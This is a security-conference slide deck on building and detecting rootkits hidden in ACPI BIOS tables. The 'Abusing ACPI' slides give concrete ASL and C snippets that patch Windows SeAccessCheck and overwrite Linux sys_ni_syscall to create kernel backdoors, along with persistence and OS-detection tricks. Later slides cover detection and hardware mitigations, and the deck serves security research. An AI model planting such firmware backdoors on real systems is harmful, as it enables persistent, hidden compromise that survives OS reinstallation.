Implementing and Detecting an ACPI BIOS Rootkit

John Heasman
BIOS

Code that runs when the computer is powered on; initialises chipset, memory subsystem, devices and diagnostics
Rootkit

Code run by an attacker after compromise to make further use of system resources without detection
Why target the BIOS?

- Survives reboots and power cycles
- Leaves no trace on disk
- Survives and re-infects re-installations of same OS
- Survives and re-infects re-installations of a new OS
- Hard to detect
- Hard to remove
Difficulties for the Rootkit Writer

- Harnessing low level functionality to achieve high level goal
- Avoiding re-development for different BIOSes
- Future-proofing against upgrades and re-installations
- Deployment
- Avoiding detection
Advanced Configuration and Power Interface
A Brief History of Power Management

- **1989**: Power management in Intel CPUs
- **1992**: Advanced Power Management (APM)
- **1996**: Energy Star Guidelines
- **2000**: Advanced Configuration/Power Interface 1.0 (ACPI)
- **2004**: ACPI 2.0
- **2004**: ACPI 3.0
The Problems with APM

- Implemented in BIOS, no application UI
- Can only monitor motherboard interfaces
- Often buggy, difficult to debug
- OS reliability dependant on quality of firmware
The Benefits of ACPI

- OS Power Management (OSPM)
- Easier to trace and debug
- Results in lower hardware interrupt latency
- Efficient wrt size of firmware
Typical ACPI Implementation

Applications

Kernel

OSPM System Code

Device Driver

ACPI Drivers/AML Interpreter

ACPI Registers

ACPI BIOS

ACPI Tables

BIOS

Hardware

NGS Consulting
Key Tables
Typical ACPI Namespace

- Processor Tree
- Processor 0 object
- Power resource for IDE0
- Method to return status of power resource
- Method to turn on power resource
- Method to turn off power resource
- System bus tree
- PCI bus
- Device ID
- Current resources (PCI bus number)
- IDE0 device
- PCI device #, function #
- Power resource requirements for D0
- General purpose events (GP_STS)
- Method to handle level GP_STS.1
- Method to handle edge GP_STS.2
- Method to handle level GP_STS.3

Key:

- Package
- Processor Object
- Power Resource
- Object
- Bus/Device Object
- Data Object
- Control Method (AML code)
Sample ASL for Thermal Zone

Scope(_TZ)
{
  ThermalZone(TMZN)
  {
    Name(_AC0, 3272)
    Name(_AL0, Package {FAN})
    ....
  }
  Device(FAN)
  {
    Name(_HID, 0xb00cd041)
    Name(_PR0, Package {PFAN})
  }
  OperationRegion(FANR, SystemIO, 0x8000, 0x10)
  Field(FANR, ByteAcc, NoLock, Preserve) {FCTL, 8}
  PowerSource(PFAN, 0, 0)
  {
    Method(_ON) { Store(0x4,FCTL) }
    Method(_OFF) { Store(0x0,FCTL) }
  }
}
ASL Language Constructs

- **Flow Control:** If, Else, While, Switch
- **Arithmetic:** Add, Sub, Multiply, Divide
- **Bitwise:** And, Nand, Or, Nor, Xor, Not
- **Datatype:** ToInteger, ToString, ToBuffer
- **Synchronisation:** Acquire, Release, Wait, Sleep
Operation Regions

Used to define interface to hardware

OperationRegion (*Name*, *Space*, *Offset*, *Length*)

- Regions subdivided into fields
- Can be read only or read/write
Valid Region Spaces

- PCI_Config
- SMBus
- CMOS
- SystemIO
- SystemMemory
Abusing ACPI
A Simple NT Backdoor

SeAccessCheck: Kernel function to determine if access rights can be granted

```c
BOOLEAN SeAccessCheck(
    IN PSECURITY_DESCRIPTOR SecurityDescriptor,
    IN PSECURITY_DESCRIPTOR SubjectSecurityContext,
    IN BOOLEAN SubjectContextLocked,
    IN ACCESS_MASK DesiredAccess,
    IN ACCESS_MASK PreviouslyGrantedAccess,
    OUT PPRIORITY_SET *Privileges OPTIONAL,
    IN PGENERIC_MAPPING GenericMapping,
    IN KPROCESSOR_MODE AccessMode,
    OUT PACCESS_MASK GrantedAccess,
    OUT PNTSTATUS Status)
);
```

AccessMode specifies call from kernel or user mode
Define OperationRegion to write a single byte

OperationRegion(SEAC, SystemMemory, 0xC04048, 0x1)
Field(SEAC, AnyAcc, NoLock, Preserve)
{
    FLD1, 0x8
}
Store (0x0, FLD1)

Resulting disassembly:

```
nt!SeAccessCheck:
80c04008 8bff           mov    edi,edi
80c0400a 55              push   ebp
...
...
80c04044 385d24           cmp    [ebp+0x24],bl
80c04047 7500             jnz    nt!SeAccessCheck+0x41 (80c04049)
80c04049 8b4514           mov    eax,[ebp+0x14]
80c0404c a900000002       test   eax,0x2000000
```
Syscalls in Linux: arch\i386\kernel\syscall_table.S, sys_call_table[]

Unused syscalls handler is sys_ni_syscall()

```c
/*
 * Non-implemented system calls get redirected here.
 */
asmlinkage long sys_ni_syscall(void)
{
    return -ENOSYS;
}
```

Overwrite sys_ni_syscall handler to introduce a backdoor

A Simple Linux Backdoor
OperationRegion to overwrite sys_ni_syscall()

OperationRegion(NISC, SystemMemory, 0x12BAE0, 0x40)
Field(NISC, AnyAcc, NoLock, Preserve)
{
    NICD, 0x40
}
Store(Buffer () {0xFF, 0xD3, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90}, NICD)

Overwrite with { call ebx; retn; nop; nop; nop; nop; nop; nop}

#include <syscall.h>
#define UNUSED 0x11  // Look in syscall_table.S

int backdoor()
{
    // Attacker code executes in kernel
    return -ENOSYS;
}

int main() { return syscall(UNUSED, &backdoor); }
Executing Native Code

Makes deploying a rootkit easier

Add new entry to AML opcode table

```c
struct ACPI_OPCODE
{
    char *opcode_name;
    unsigned int opcode_value;
    ...
    int (*AML_work_function)()
}
```

Work function executes native code
Using the Realtime Clock

I/O to 0x70 & 0x71 to read the RTC

- Use a SystemIO OperationRegion

Different behaviour depending on date & time

- e.g. Only infect once a month
Infecting Windows During Install

- ACPI.SYS loaded in both Text-mode and GUI-mode
- Can launch user mode apps in GUI-mode
Future Proofing

1. Perform OS version detection
   • Infect only if target hasn’t changed

2. Support known OS configurations
   • Analogous to writing a multi-target exploit

3. Devise generic method of executing native code
   • Infect a future, unknown OS version
OS Detection

Via the _OS object:

Store (_OS, local0)
If (LEqual (local0, "Microsoft Windows NT")) { … }

Via the _OSI method:

if (_OSI("Windows 2001")) { … }
OS Detection Cont.

But Linux lies!

Configure OS name via bootloader:

\[ \texttt{acpi\_os\_name = "Microsoft Windows 2000"} \]

Better OS detection through probing phys mem:

- Look for PE or ELF headers
- Known values at known offsets
- Need a “search mem” method…
Detection & Prevention
Detection

1. Use an existing tool
   - VICE
   - Blacklight
   - RootkitRevealer et al.

2. Use OS auditing capabilities for ACPI messages
   - XP and 2003 EventLog
   - Linux dmesg
Event Properties

Date: 05/10/2005 Source: ACPI
Time: 16:16:00 Category: None
Type: Error Event ID: 12
User: N/A
Computer: XPCHECKED

Description:
ACPI: ACPI BIOS is attempting to create an illegal memory DoRegion, starting at address 0x000404, with a length of 0x80. This region lies in the Operating system’s protected memory address range (0x100000 - 0x10000000). This could lead to system instability. Please contact your system vendor for technical assistance.

For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp.

Data

Data Offset: 0000 0001 0002 0003 0004 0005 0006 0007 0008 0009 000A 000B 000C 000D 000E 000F
0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0001: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0002: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0003: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0004: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0005: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0006: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0007: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0008: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0009: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000A: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000B: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000C: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000E: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000F: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

OK Cancel
Auditing ACPI Tables

1. Disable ACPI in the BIOS or boot off alternate media
   - No ACPI drivers!

2. Retrieve ACPI tables
   - Windows - HKLM\HARDWARE\ACPI\DSDT
   - Linux - /proc/acpi (or DSDT from file)
   - Intel IASL tools retrieve and disassemble
   - Or DIY from physical memory

3. Locate suspicious OperationRegions
AML Debugger in WinDBG (need checked ACPI.SYS)

AMLI(? for help) -> ?

Clear Breakpoints - bc <bp list> | *
Disable Breakpoints - bd <bp list> | *
Enable Breakpoints - be <bp list> | *
List Breakpoints - bl
Set Breakpoints - bp <MethodName> | <CodeAddr> ...

AMLI(? for help) -> g

CheckSystemIOAddressValidity: Passing for compatibility
reasons on illegal IO address (0x70).
CheckSystemIOAddressValidity: Passing for compatibility
reasons on illegal IO address (0x71).
Hardware Mitigations

Prevent Reflashing (MOBO jumpers)

MOBO requires signed BIOS

But not dual BIOS MOBOs! (e.g. Gigabyte DualBIOS)

Digital SecureBIOS
Phoenix TrustedCore
Intel Secure Flash
Future Work

Trojan interesting control methods
- Laptop - lid opening/closing
- Addition of new hardware, e.g. USB key
- Manipulation of sleep states

OS Detection through AML anomalies
- Any useful interpreter bugs?

ACPI Table Auditing Tool
- Part of a rootkit detection tool set
References

ACPI Specification
http://www.acpi.info

Intel IASL Tools
http://developer.intel.com/technology/iapc/acpi/

Microsoft ASL Compiler and Resources
http://www.microsoft.com/whdc/system/pnppwr/powermgmt/default.mspx
Any Questions?

Thanks!